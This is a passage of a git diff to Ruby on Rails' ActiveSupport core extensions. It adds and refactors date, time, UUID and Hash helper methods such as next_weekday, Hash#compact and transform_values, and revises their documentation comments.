+# cattr_* became mattr_* aliases in 7dfbd91b0780fbd6a1dd9bfbc176e10894871d2d,
+# but we keep this around for libraries that directly require it knowing they
+# want cattr_*. No need to deprecate.
+require 'active_support/core_ext/module/attribute_accessors'
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index ff870f5fd1..1c305c5970 100644
--- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -1,25 +1,30 @@
 require 'active_support/core_ext/kernel/singleton_class'
 require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/module/deprecation'
+
 
 class Class
   def superclass_delegating_accessor(name, options = {})
     # Create private _name and _name= methods that can still be used if the public
-    # methods are overridden. This allows
-    _superclass_delegating_accessor("_#{name}")
+    # methods are overridden.
+    _superclass_delegating_accessor("_#{name}", options)
 
-    # Generate the public methods name, name=, and name?
+    # Generate the public methods name, name=, and name?.
     # These methods dispatch to the private _name, and _name= methods, making them
-    # overridable
+    # overridable.
     singleton_class.send(:define_method, name) { send("_#{name}") }
     singleton_class.send(:define_method, "#{name}?") { !!send("_#{name}") }
     singleton_class.send(:define_method, "#{name}=") { |value| send("_#{name}=", value) }
 
-    # If an instance_reader is needed, generate methods for name and name= on the
-    # class itself, so instances will be able to see them
-    define_method(name) { send("_#{name}") } if options[:instance_reader] != false
-    define_method("#{name}?") { !!send("#{name}") } if options[:instance_reader] != false
+    # If an instance_reader is needed, generate public instance methods name and name?.
+    if options[:instance_reader] != false
+      define_method(name) { send("_#{name}") }
+      define_method("#{name}?") { !!send("#{name}") }
+    end
   end
 
+  deprecate superclass_delegating_accessor: :class_attribute
+
   private
     # Take the object being set and store it in a method. This gives us automatic
     # inheritance behavior, without having to store the object in an instance
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index 6bc8f12176..df419a6e63 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -1,6 +1,7 @@
 require 'date'
 require 'active_support/inflector/methods'
 require 'active_support/core_ext/date/zones'
+require 'active_support/core_ext/module/remove_method'
 
 class Date
   DATE_FORMATS = {
@@ -19,8 +20,10 @@ class Date
   # Ruby 1.9 has Date#to_time which converts to localtime only.
   remove_method :to_time
 
-  # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
-  remove_method :xmlschema
+  # Ruby 1.9 has Date#xmlschema which converts to a string without the time
+  # component. This removal may generate an issue on FreeBSD, that's why we
+  # need to use remove_possible_method here
+  remove_possible_method :xmlschema
 
   # Convert to a formatted string. See DATE_FORMATS for predefined formats.
   #
@@ -37,12 +40,12 @@ class Date
   #   date.to_formatted_s(:rfc822)        # => "10 Nov 2007"
   #   date.to_formatted_s(:iso8601)       # => "2007-11-10"
   #
-  # == Adding your own time formats to to_formatted_s
+  # == Adding your own date formats to to_formatted_s
   # You can add your own formats to the Date::DATE_FORMATS hash.
   # Use the format name as the hash key and either a strftime string
   # or Proc instance that takes a date argument as the value.
   #
-  #   # config/initializers/time_formats.rb
+  #   # config/initializers/date_formats.rb
   #   Date::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
   def to_formatted_s(format = :default)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
index c869a0e210..9525c10112 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -9,15 +9,26 @@ module DateAndTime
       :saturday  => 5,
       :sunday    => 6
     }
+    WEEKEND_DAYS = [ 6, 0 ]
 
     # Returns a new date/time representing yesterday.
     def yesterday
-      advance(:days => -1)
+      advance(days: -1)
+    end
+
+    # Returns a new date/time representing the previous day.
+    def prev_day
+      advance(days: -1)
     end
 
     # Returns a new date/time representing tomorrow.
     def tomorrow
-      advance(:days => 1)
+      advance(days: 1)
+    end
+
+    # Returns a new date/time representing the next day.
+    def next_day
+      advance(days: 1)
     end
 
     # Returns true if the date/time is today.
@@ -35,6 +46,11 @@ module DateAndTime
       self > self.class.current
     end
 
+    # Returns true if the date/time falls on a Saturday or Sunday.
+    def on_weekend?
+      WEEKEND_DAYS.include?(wday)
+    end
+
     # Returns a new date/time the specified number of days ago.
     def days_ago(days)
       advance(:days => -days)
@@ -111,9 +127,19 @@ module DateAndTime
     # Returns a new date/time representing the given day in the next week.
     # The +given_day_in_next_week+ defaults to the beginning of the week
     # which is determined by +Date.beginning_of_week+ or +config.beginning_of_week+
-    # when set. +DateTime+ objects have their time set to 0:00.
-    def next_week(given_day_in_next_week = Date.beginning_of_week)
-      first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)))
+    # when set. +DateTime+ objects have their time set to 0:00 unless +same_time+ is true.
+    def next_week(given_day_in_next_week = Date.beginning_of_week, same_time: false)
+      result = first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)))
+      same_time ? copy_time_to(result) : result
+    end
+
+    # Returns a new date/time representing the next weekday.
+    def next_weekday
+      if next_day.on_weekend?
+        next_week(:monday, same_time: true)
+      else
+        next_day
+      end
     end
 
     # Short-hand for months_since(1).
@@ -134,12 +160,23 @@ module DateAndTime
     # Returns a new date/time representing the given day in the previous week.
     # Week is assumed to start on +start_day+, default is
     # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
-    # DateTime objects have their time set to 0:00.
-    def prev_week(start_day = Date.beginning_of_week)
-      first_hour(weeks_ago(1).beginning_of_week.days_since(days_span(start_day)))
+    # DateTime objects have their time set to 0:00 unless +same_time+ is true.
+    def prev_week(start_day = Date.beginning_of_week, same_time: false)
+      result = first_hour(weeks_ago(1).beginning_of_week.days_since(days_span(start_day)))
+      same_time ? copy_time_to(result) : result
     end
     alias_method :last_week, :prev_week
 
+    # Returns a new date/time representing the previous weekday.
+    def prev_weekday
+      if prev_day.on_weekend?
+        copy_time_to(beginning_of_week(:friday))
+      else
+        prev_day
+      end
+    end
+    alias_method :last_weekday, :prev_weekday
+
     # Short-hand for months_ago(1).
     def prev_month
       months_ago(1)
@@ -213,18 +250,42 @@ module DateAndTime
     end
     alias :at_end_of_year :end_of_year
 
-    private
+    # Returns a Range representing the whole week of the current date/time.
+    # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+    def all_week(start_day = Date.beginning_of_week)
+      beginning_of_week(start_day)..end_of_week(start_day)
+    end
 
-    def first_hour(date_or_time)
-      date_or_time.acts_like?(:time) ? date_or_time.beginning_of_day : date_or_time
+    # Returns a Range representing the whole month of the current date/time.
+    def all_month
+      beginning_of_month..end_of_month
     end
 
-    def last_hour(date_or_time)
-      date_or_time.acts_like?(:time) ? date_or_time.end_of_day : date_or_time
+    # Returns a Range representing the whole quarter of the current date/time.
+    def all_quarter
+      beginning_of_quarter..end_of_quarter
     end
 
-    def days_span(day)
-      (DAYS_INTO_WEEK[day] - DAYS_INTO_WEEK[Date.beginning_of_week]) % 7
+    # Returns a Range representing the whole year of the current date/time.
+    def all_year
+      beginning_of_year..end_of_year
     end
+
+    private
+      def first_hour(date_or_time)
+        date_or_time.acts_like?(:time) ? date_or_time.beginning_of_day : date_or_time
+      end
+
+      def last_hour(date_or_time)
+        date_or_time.acts_like?(:time) ? date_or_time.end_of_day : date_or_time
+      end
+
+      def days_span(day)
+        (DAYS_INTO_WEEK[day] - DAYS_INTO_WEEK[Date.beginning_of_week]) % 7
+      end
+
+      def copy_time_to(other)
+        other.change(hour: hour, min: min, sec: sec, usec: try(:usec))
+      end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index 8e5d723074..55ad384f4f 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -10,7 +10,11 @@ class DateTime
     end
   end
 
-  # Seconds since midnight: DateTime.now.seconds_since_midnight.
+  # Returns the number of seconds since 00:00:00.
+  #
+  #   DateTime.new(2012, 8, 29,  0,  0,  0).seconds_since_midnight # => 0
+  #   DateTime.new(2012, 8, 29, 12, 34, 56).seconds_since_midnight # => 45296
+  #   DateTime.new(2012, 8, 29, 23, 59, 59).seconds_since_midnight # => 86399
   def seconds_since_midnight
     sec + (min * 60) + (hour * 3600)
   end
@@ -53,6 +57,16 @@ class DateTime
   # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
   # <tt>:minutes</tt>, <tt>:seconds</tt>.
   def advance(options)
+    unless options[:weeks].nil?
+      options[:weeks], partial_weeks = options[:weeks].divmod(1)
+      options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
+    end
+
+    unless options[:days].nil?
+      options[:days], partial_days = options[:days].divmod(1)
+      options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
+    end
+
     d = to_date.advance(options)
     datetime_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
     seconds_to_advance = \
@@ -63,7 +77,7 @@ class DateTime
     if seconds_to_advance.zero?
       datetime_advanced_by_date
     else
-      datetime_advanced_by_date.since seconds_to_advance
+      datetime_advanced_by_date.since(seconds_to_advance)
     end
   end
 
@@ -151,7 +165,13 @@ class DateTime
   # Layers additional behavior on DateTime#<=> so that Time and
   # ActiveSupport::TimeWithZone instances can be compared with a DateTime.
   def <=>(other)
-    super other.to_datetime
+    if other.kind_of?(Infinity)
+      super
+    elsif other.respond_to? :to_datetime
+      super other.to_datetime
+    else
+      nil
+    end
   end
 
 end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index 6ddfb72a0d..2a9c09fc29 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -71,9 +71,9 @@ class DateTime
     civil(year, month, day, hour, min, sec, offset)
   end
 
-  # Converts +self+ to a floating-point number of seconds since the Unix epoch.
+  # Converts +self+ to a floating-point number of seconds, including fractional microseconds, since the Unix epoch.
   def to_f
-    seconds_since_unix_epoch.to_f
+    seconds_since_unix_epoch.to_f + sec_fraction
   end
 
   # Converts +self+ to an integer number of seconds since the Unix epoch.
diff --git a/activesupport/lib/active_support/core_ext/digest/uuid.rb b/activesupport/lib/active_support/core_ext/digest/uuid.rb
new file mode 100644
index 0000000000..593c51bba2
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/digest/uuid.rb
@@ -0,0 +1,51 @@
+require 'securerandom'
+
+module Digest
+  module UUID
+    DNS_NAMESPACE  = "k\xA7\xB8\x10\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+    URL_NAMESPACE  = "k\xA7\xB8\x11\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+    OID_NAMESPACE  = "k\xA7\xB8\x12\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+    X500_NAMESPACE = "k\xA7\xB8\x14\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+
+    # Generates a v5 non-random UUID (Universally Unique IDentifier).
+    #
+    # Using Digest::MD5 generates version 3 UUIDs; Digest::SHA1 generates version 5 UUIDs.
+    # uuid_from_hash always generates the same UUID for a given name and namespace combination.
+    #
+    # See RFC 4122 for details of UUID at: http://www.ietf.org/rfc/rfc4122.txt
+    def self.uuid_from_hash(hash_class, uuid_namespace, name)
+      if hash_class == Digest::MD5
+        version = 3
+      elsif hash_class == Digest::SHA1
+        version = 5
+      else
+        raise ArgumentError, "Expected Digest::SHA1 or Digest::MD5, got #{hash_class.name}."
+      end
+
+      hash = hash_class.new
+      hash.update(uuid_namespace)
+      hash.update(name)
+
+      ary = hash.digest.unpack('NnnnnN')
+      ary[2] = (ary[2] & 0x0FFF) | (version << 12)
+      ary[3] = (ary[3] & 0x3FFF) | 0x8000
+
+      "%08x-%04x-%04x-%04x-%04x%08x" % ary
+    end
+
+    # Convenience method for uuid_from_hash using Digest::MD5.
+    def self.uuid_v3(uuid_namespace, name)
+      self.uuid_from_hash(Digest::MD5, uuid_namespace, name)
+    end
+
+    # Convenience method for uuid_from_hash using Digest::SHA1.
+    def self.uuid_v5(uuid_namespace, name)
+      self.uuid_from_hash(Digest::SHA1, uuid_namespace, name)
+    end
+
+    # Convenience method for SecureRandom.uuid.
+    def self.uuid_v4
+      SecureRandom.uuid
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index 4501b7ff58..1343beb87a 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -35,7 +35,7 @@ module Enumerable
     if block_given?
       Hash[map { |elem| [yield(elem), elem] }]
     else
-      to_enum :index_by
+      to_enum(:index_by) { size if respond_to?(:size) }
     end
   end
 
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index c3e6124a57..fad6fa8d9d 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -20,10 +20,10 @@ class File
 
     temp_file = Tempfile.new(basename(file_name), temp_dir)
     temp_file.binmode
-    yield temp_file
+    return_val = yield temp_file
     temp_file.close
 
-    if File.exists?(file_name)
+    if File.exist?(file_name)
       # Get original file permissions
       old_stat = stat(file_name)
     else
@@ -40,7 +40,10 @@ class File
       chown(old_stat.uid, old_stat.gid, file_name)
       # This operation will affect filesystem ACL's
       chmod(old_stat.mode, file_name)
-    rescue Errno::EPERM
+
+      # Make sure we return the result of the yielded block
+      return_val
+    rescue Errno::EPERM, Errno::EACCES
       # Changing file ownership failed, moving on.
     end
   end
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
index 686f12c6da..af4d1da0eb 100644
--- a/activesupport/lib/active_support/core_ext/hash.rb
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/hash/compact'
 require 'active_support/core_ext/hash/conversions'
 require 'active_support/core_ext/hash/deep_merge'
 require 'active_support/core_ext/hash/except'
@@ -5,3 +6,4 @@ require 'active_support/core_ext/hash/indifferent_access'
 require 'active_support/core_ext/hash/keys'
 require 'active_support/core_ext/hash/reverse_merge'
 require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/hash/transform_values'
diff --git a/activesupport/lib/active_support/core_ext/hash/compact.rb b/activesupport/lib/active_support/core_ext/hash/compact.rb
new file mode 100644
index 0000000000..5dc9a05ec7
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/compact.rb
@@ -0,0 +1,20 @@
+class Hash
+  # Returns a hash with non +nil+ values.
+  #
+  #   hash = { a: true, b: false, c: nil}
+  #   hash.compact # => { a: true, b: false}
+  #   hash # => { a: true, b: false, c: nil}
+  #   { c: nil }.compact # => {}
+  def compact
+    self.select { |_, value| !value.nil? }
+  end
+
+  # Replaces current hash with non +nil+ values.
+  #
+  #   hash = { a: true, b: false, c: nil}
+  #   hash.compact! # => { a: true, b: false}
+  #   hash # => { a: true, b: false}
+  def compact!
+    self.reject! { |_, value| value.nil? }
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 8930376ac8..2149d4439d 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -10,7 +10,7 @@ require 'active_support/core_ext/string/inflections'
 class Hash
   # Returns a string containing an XML representation of its receiver:
   #
-  #   {'foo' => 1, 'bar' => 2}.to_xml
+  #   { foo: 1, bar: 2 }.to_xml
   #   # =>
   #   # <?xml version="1.0" encoding="UTF-8"?>
   #   # <hash>
@@ -43,7 +43,10 @@ class Hash
   #     end
   #
   #     { foo: Foo.new }.to_xml(skip_instruct: true)
-  #     # => "<hash><bar>fooing!</bar></hash>"
+  #     # =>
+  #     # <hash>
+  #     #   <bar>fooing!</bar>
+  #     # </hash>
   #
   # * Otherwise, a node with +key+ as tag is created with a string representation of
   #   +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
@@ -102,7 +105,7 @@ class Hash
     #   hash = Hash.from_xml(xml)
     #   # => {"hash"=>{"foo"=>1, "bar"=>2}}
     #
-    # DisallowedType is raise if the XML contains attributes with <tt>type="yaml"</tt> or
+    # +DisallowedType+ is raised if the XML contains attributes with <tt>type="yaml"</tt> or
     # <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to parse this XML.
     def from_xml(xml, disallowed_types = nil)
       ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h
@@ -201,7 +204,7 @@ module ActiveSupport
       end
 
       def become_empty_string?(value)
-        # {"string" => true}
+        # { "string" => true }
         # No tests fail when the second term is removed.
         value['type'] == 'string' && value['nil'] != 'true'
       end
@@ -218,7 +221,7 @@ module ActiveSupport
       def garbage?(value)
         # If the type is the only element which makes it then
         # this still makes the value nil, except if type is
-        # a XML node(where type['value'] is a Hash)
+        # an XML node(where type['value'] is a Hash)
         value['type'] && !value['type'].is_a?(::Hash) && value.size == 1
       end
 
@@ -238,4 +241,3 @@ module ActiveSupport
 
   end
 end
-
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
index e07db50b77..9c9faf67ea 100644
--- a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -1,27 +1,38 @@
 class Hash
   # Returns a new hash with +self+ and +other_hash+ merged recursively.
   #
-  #   h1 = { x: { y: [4,5,6] }, z: [7,8,9] }
-  #   h2 = { x: { y: [7,8,9] }, z: 'xyz' }
+  #   h1 = { a: true, b: { c: [1, 2, 3] } }
+  #   h2 = { a: false, b: { x: [3, 4, 5] } }
   #
-  #   h1.deep_merge(h2) #=> {x: {y: [7, 8, 9]}, z: "xyz"}
-  #   h2.deep_merge(h1) #=> {x: {y: [4, 5, 6]}, z: [7, 8, 9]}
-  #   h1.deep_merge(h2) { |key, old, new| Array.wrap(old) + Array.wrap(new) }
-  #   #=> {:x=>{:y=>[4, 5, 6, 7, 8, 9]}, :z=>[7, 8, 9, "xyz"]}
+  #   h1.deep_merge(h2) # => { a: false, b: { c: [1, 2, 3], x: [3, 4, 5] } }
+  #
+  # Like with Hash#merge in the standard library, a block can be provided
+  # to merge values:
+  #
+  #   h1 = { a: 100, b: 200, c: { c1: 100 } }
+  #   h2 = { b: 250, c: { c1: 200 } }
+  #   h1.deep_merge(h2) { |key, this_val, other_val| this_val + other_val }
+  #   # => { a: 100, b: 450, c: { c1: 300 } }
   def deep_merge(other_hash, &block)
     dup.deep_merge!(other_hash, &block)
   end
 
   # Same as +deep_merge+, but modifies +self+.
   def deep_merge!(other_hash, &block)
-    other_hash.each_pair do |k,v|
-      tv = self[k]
-      if tv.is_a?(Hash) && v.is_a?(Hash)
-        self[k] = tv.deep_merge(v, &block)
+    other_hash.each_pair do |current_key, other_value|
+      this_value = self[current_key]
+
+      self[current_key] = if this_value.is_a?(Hash) && other_value.is_a?(Hash)
+        this_value.deep_merge(other_value, &block)
       else
-        self[k] = block && tv ? block.call(k, tv, v) : v
+        if block_given? && key?(current_key)
+          block.call(current_key, this_value, other_value)
+        else
+          other_value
+        end
       end
     end
+
     self
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index d90e996ad4..6e397abf51 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -1,13 +1,19 @@
 class Hash
-  # Return a hash that includes everything but the given keys. This is useful for
-  # limiting a set of parameters to everything but a few known toggles:
+  # Returns a hash that includes everything but the given keys.
+  #   hash = { a: true, b: false, c: nil}
+  #   hash.except(:c) # => { a: true, b: false}
+  #   hash # => { a: true, b: false, c: nil}
   #
+  # This is useful for limiting a set of parameters to everything but a few known toggles:
   #   @person.update(params[:person].except(:admin))
   def except(*keys)
     dup.except!(*keys)
   end
 
   # Replaces the hash without the given keys.
+  #   hash = { a: true, b: false, c: nil}
+  #   hash.except!(:c) # => { a: true, b: false}
+  #   hash # => { a: true, b: false }
   def except!(*keys)
     keys.each { |key| delete(key) }
     self
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index 981e8436bf..28cb3e2a3b 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -18,5 +18,6 @@ class Hash
   #
   #   b = { b: 1 }
   #   { a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
+  #   # => {"b"=>1}
   alias nested_under_indifferent_access with_indifferent_access
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index b4c451ace4..9297a59c46 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -1,12 +1,13 @@
 class Hash
-  # Return a new hash with all keys converted using the block operation.
+  # Returns a new hash with all keys converted using the block operation.
   #
   #  hash = { name: 'Rob', age: '28' }
   #
   #  hash.transform_keys{ |key| key.to_s.upcase }
-  #  # => { "NAME" => "Rob", "AGE" => "28" }
+  #  # => {"NAME"=>"Rob", "AGE"=>"28"}
   def transform_keys
-    result = {}
+    return enum_for(:transform_keys) unless block_given?
+    result = self.class.new
     each_key do |key|
       result[yield(key)] = self[key]
     end
@@ -16,35 +17,36 @@ class Hash
   # Destructively convert all keys using the block operations.
   # Same as transform_keys but modifies +self+.
   def transform_keys!
+    return enum_for(:transform_keys!) unless block_given?
     keys.each do |key|
       self[yield(key)] = delete(key)
     end
     self
   end
 
-  # Return a new hash with all keys converted to strings.
+  # Returns a new hash with all keys converted to strings.
   #
   #   hash = { name: 'Rob', age: '28' }
   #
   #   hash.stringify_keys
-  #   #=> { "name" => "Rob", "age" => "28" }
+  #   # => {"name"=>"Rob", "age"=>"28"}
   def stringify_keys
-    transform_keys{ |key| key.to_s }
+    transform_keys(&:to_s)
   end
 
   # Destructively convert all keys to strings. Same as
   # +stringify_keys+, but modifies +self+.
   def stringify_keys!
-    transform_keys!{ |key| key.to_s }
+    transform_keys!(&:to_s)
   end
 
-  # Return a new hash with all keys converted to symbols, as long as
+  # Returns a new hash with all keys converted to symbols, as long as
   # they respond to +to_sym+.
   #
   #   hash = { 'name' => 'Rob', 'age' => '28' }
   #
   #   hash.symbolize_keys
-  #   #=> { name: "Rob", age: "28" }
+  #   # => {:name=>"Rob", :age=>"28"}
   def symbolize_keys
     transform_keys{ |key| key.to_sym rescue key }
   end
@@ -57,82 +59,108 @@ class Hash
   end
   alias_method :to_options!, :symbolize_keys!
 
-  # Validate all keys in a hash match <tt>*valid_keys</tt>, raising ArgumentError
-  # on a mismatch. Note that keys are NOT treated indifferently, meaning if you
-  # use strings for keys but assert symbols as keys, this will fail.
+  # Validate all keys in a hash match <tt>*valid_keys</tt>, raising
+  # ArgumentError on a mismatch.
   #
-  #   { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
-  #   { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+  # Note that keys are treated differently than HashWithIndifferentAccess,
+  # meaning that string and symbol keys will not match.
+  #
+  #   { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+  #   { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
   #   { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age)   # => passes, raises nothing
   def assert_valid_keys(*valid_keys)
     valid_keys.flatten!
     each_key do |k|
-      raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+      unless valid_keys.include?(k)
+        raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+      end
     end
   end
 
-  # Return a new hash with all keys converted by the block operation.
+  # Returns a new hash with all keys converted by the block operation.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   #
   #  hash = { person: { name: 'Rob', age: '28' } }
   #
   #  hash.deep_transform_keys{ |key| key.to_s.upcase }
-  #  # => { "PERSON" => { "NAME" => "Rob", "AGE" => "28" } }
+  #  # => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
   def deep_transform_keys(&block)
-    result = {}
-    each do |key, value|
-      result[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys(&block) : value
-    end
-    result
+    _deep_transform_keys_in_object(self, &block)
   end
 
   # Destructively convert all keys by using the block operation.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   def deep_transform_keys!(&block)
-    keys.each do |key|
-      value = delete(key)
-      self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value
-    end
-    self
+    _deep_transform_keys_in_object!(self, &block)
   end
 
-  # Return a new hash with all keys converted to strings.
+  # Returns a new hash with all keys converted to strings.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   #
   #   hash = { person: { name: 'Rob', age: '28' } }
   #
   #   hash.deep_stringify_keys
-  #   # => { "person" => { "name" => "Rob", "age" => "28" } }
+  #   # => {"person"=>{"name"=>"Rob", "age"=>"28"}}
   def deep_stringify_keys
-    deep_transform_keys{ |key| key.to_s }
+    deep_transform_keys(&:to_s)
   end
 
   # Destructively convert all keys to strings.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   def deep_stringify_keys!
-    deep_transform_keys!{ |key| key.to_s }
+    deep_transform_keys!(&:to_s)
   end
 
-  # Return a new hash with all keys converted to symbols, as long as
+  # Returns a new hash with all keys converted to symbols, as long as
   # they respond to +to_sym+. This includes the keys from the root hash
-  # and from all nested hashes.
+  # and from all nested hashes and arrays.
   #
   #   hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
   #
   #   hash.deep_symbolize_keys
-  #   # => { person: { name: "Rob", age: "28" } }
+  #   # => {:person=>{:name=>"Rob", :age=>"28"}}
   def deep_symbolize_keys
     deep_transform_keys{ |key| key.to_sym rescue key }
   end
 
   # Destructively convert all keys to symbols, as long as they respond
   # to +to_sym+. This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   def deep_symbolize_keys!
     deep_transform_keys!{ |key| key.to_sym rescue key }
   end
+
+  private
+    # support methods for deep transforming nested hashes and arrays
+    def _deep_transform_keys_in_object(object, &block)
+      case object
+      when Hash
+        object.each_with_object({}) do |(key, value), result|
+          result[yield(key)] = _deep_transform_keys_in_object(value, &block)
+        end
+      when Array
+        object.map {|e| _deep_transform_keys_in_object(e, &block) }
+      else
+        object
+      end
+    end
+
+    def _deep_transform_keys_in_object!(object, &block)
+      case object
+      when Hash
+        object.keys.each do |key|
+          value = object.delete(key)
+          object[yield(key)] = _deep_transform_keys_in_object!(value, &block)
+        end
+        object
+      when Array
+        object.map! {|e| _deep_transform_keys_in_object!(e, &block)}
+      else
+        object
+      end
+    end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index 9fa9b3dac4..41b2279013 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -1,6 +1,12 @@
 class Hash
-  # Slice a hash to include only the given keys. This is useful for
-  # limiting an options hash to valid keys before passing to a method:
+  # Slice a hash to include only the given keys. Returns a hash containing 
+  # the given keys.
+  # 
+  #   { a: 1, b: 2, c: 3, d: 4 }.slice(:a, :b)
+  #   # => {:a=>1, :b=>2}
+  # 
+  # This is useful for limiting an options hash to valid keys before 
+  # passing to a method:
   #
   #   def search(criteria = {})
   #     criteria.assert_valid_keys(:mass, :velocity, :time)
@@ -26,6 +32,8 @@ class Hash
     keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
     omit = slice(*self.keys - keys)
     hash = slice(*keys)
+    hash.default      = default
+    hash.default_proc = default_proc if default_proc
     replace(hash)
     omit
   end
diff --git a/activesupport/lib/active_support/core_ext/hash/transform_values.rb b/activesupport/lib/active_support/core_ext/hash/transform_values.rb
new file mode 100644
index 0000000000..e9bcce761f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/transform_values.rb
@@ -0,0 +1,23 @@
+class Hash
+  # Returns a new hash with the results of running +block+ once for every value.
+  # The keys are unchanged.
+  #
+  #   { a: 1, b: 2, c: 3 }.transform_values { |x| x * 2 }
+  #   # => { a: 2, b: 4, c: 6 }
+  def transform_values
+    return enum_for(:transform_values) unless block_given?
+    result = self.class.new
+    each do |key, value|
+      result[key] = yield(value)
+    end
+    result
+  end
+
+  # Destructive +transform_values+
+  def transform_values!
